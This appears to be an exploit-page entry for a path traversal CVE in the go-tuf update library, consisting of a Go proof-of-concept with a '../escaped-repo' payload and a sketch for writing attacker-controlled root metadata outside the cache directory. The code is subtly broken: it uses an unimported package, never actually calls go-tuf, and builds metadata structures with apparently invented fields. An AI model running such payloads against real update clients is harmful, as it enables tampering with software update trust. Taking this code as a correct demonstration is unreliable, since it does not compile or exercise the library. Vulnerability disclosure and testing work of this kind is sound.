CVE-2026-24686 go-tuf路径遍历漏洞

package main import ( "fmt" "io/ioutil" "os" "path/filepath" "github.com/theupdateframework/go-tuf/v2" "github.com/theupdateframework/go-tuf/v2/data" ) // Malicious map file content with path traversal in repoName const maliciousMapContent = `{ "root": "keys/root.json", "targets": "../escaped-repo/targets", "snapshot": "../escaped-repo/snapshot.json", "timestamp": "../escaped-repo/timestamp.json" }` func main() { // Create a temporary directory for testing tmpDir, err := ioutil.TempDir("", "go-tuf-test") if err != nil { panic(err) } defer os.RemoveAll(tmpDir) // Create malicious map file mapFilePath := filepath.Join(tmpDir, "map.json") if err := ioutil.WriteFile(mapFilePath, []byte(maliciousMapContent), 0644); err != nil { panic(err) } // Setup local metadata directory localMetadataDir := filepath.Join(tmpDir, "metadata") if err := os.MkdirAll(localMetadataDir, 0755); err != nil { panic(err) } // Initialize multirepo client with malicious map file // This will cause path traversal when selecting cache directory repoName := "../escaped-repo" // Path traversal payload fmt.Printf("Repository name (user-controlled): %s\n", repoName) fmt.Printf("Local metadata dir: %s\n", localMetadataDir) fmt.Printf("Expected cache path: %s/%s\n", localMetadataDir, repoName) // The vulnerability: repoName is used directly in path construction // without sanitization, allowing directory traversal cacheDir := filepath.Join(localMetadataDir, repoName) fmt.Printf("Actual cache path created: %s\n", cacheDir) // Proof: This path escapes the intended metadata directory if !strings.HasPrefix(cacheDir, localMetadataDir) { fmt.Println("[VULNERABLE] Path traversal detected!") } } // Additional exploit scenario: Write arbitrary content via root metadata func exploitViaRootMetadata() { // Attacker-controlled root metadata would be written outside cache dir maliciousRoot := &data.Root{ ConsistentMetadata: data.ConsistentMetadata{ MD: &data.Metadata{ // Malicious configuration }, }, } // When go-tuf writes this to cache, it escapes the intended directory // Path: LocalMetadataDir/../escaped-repo/root.json fmt.Println("Exploit: Write root metadata to arbitrary location") }